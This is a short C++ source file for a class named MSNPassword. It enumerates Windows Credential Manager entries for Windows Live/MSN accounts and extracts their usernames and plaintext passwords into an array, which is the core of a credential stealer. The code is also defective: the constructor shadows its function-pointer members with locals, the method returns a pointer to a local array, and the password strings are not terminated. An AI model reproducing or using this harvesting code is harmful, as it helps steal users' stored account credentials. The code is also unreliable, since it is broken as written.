#include "GetMsnPassword.h"
MSNPassword::MSNPassword()
{
typeCredEnumerate pfCredEnumerate = NULL;
typeCredFree pfCredFree = NULL;
}
ACCESSDATA * MSNPassword::GetPasswords()
{
PCREDENTIAL *CredentialCollection = NULL;
HMODULE hAdvapi32DLL = NULL;
DWORD dwCount = 0;
DWORD dwTempIndex = 0;
BOOL bOK = FALSE;
hAdvapi32DLL = LoadLibrary(_T("advapi32.dll"));
#ifdef _UNICODE
pfCredEnumerate =(typeCredEnumerate)GetProcAddress(hAdvapi32DLL,"CredEnumerateW");
#else
pfCredEnumerate =(typeCredEnumerate)GetProcAddress(hAdvapi32DLL,"CredEnumerateA");
#endif
pfCredFree = (typeCredFree)GetProcAddress(hAdvapi32DLL,"CredFree");
//Get an array of 'credential', satisfying the filter
bOK = pfCredEnumerate(_T("WindowsLive:name=*"),0,&dwCount,&CredentialCollection);
ACCESSDATA D[dwCount];
for(dwTempIndex=0; dwTempIndex<dwCount; dwTempIndex++)
{
D[dwTempIndex].Username = CredentialCollection[dwTempIndex]->UserName;
if (CredentialCollection[dwTempIndex]->CredentialBlob != NULL)
{
D[dwTempIndex].Password = new char[CredentialCollection[dwTempIndex]->CredentialBlobSize / 2];
for (int W = 0; W < CredentialCollection[dwTempIndex]->CredentialBlobSize / 2; W++)
D[dwTempIndex].Password[W] = ' ';
for (int W = 0; W < CredentialCollection[dwTempIndex]->CredentialBlobSize / 2; W++)
D[dwTempIndex].Password[W] = (char) CredentialCollection[dwTempIndex]->CredentialBlob[W * 2];
}
else
{
D[dwTempIndex].Password = "(NULL)";
}
}
//Free credential collection
pfCredFree(CredentialCollection);
//Free lib
if(NULL != hAdvapi32DLL)
{
FreeLibrary(hAdvapi32DLL);
}
return D;
}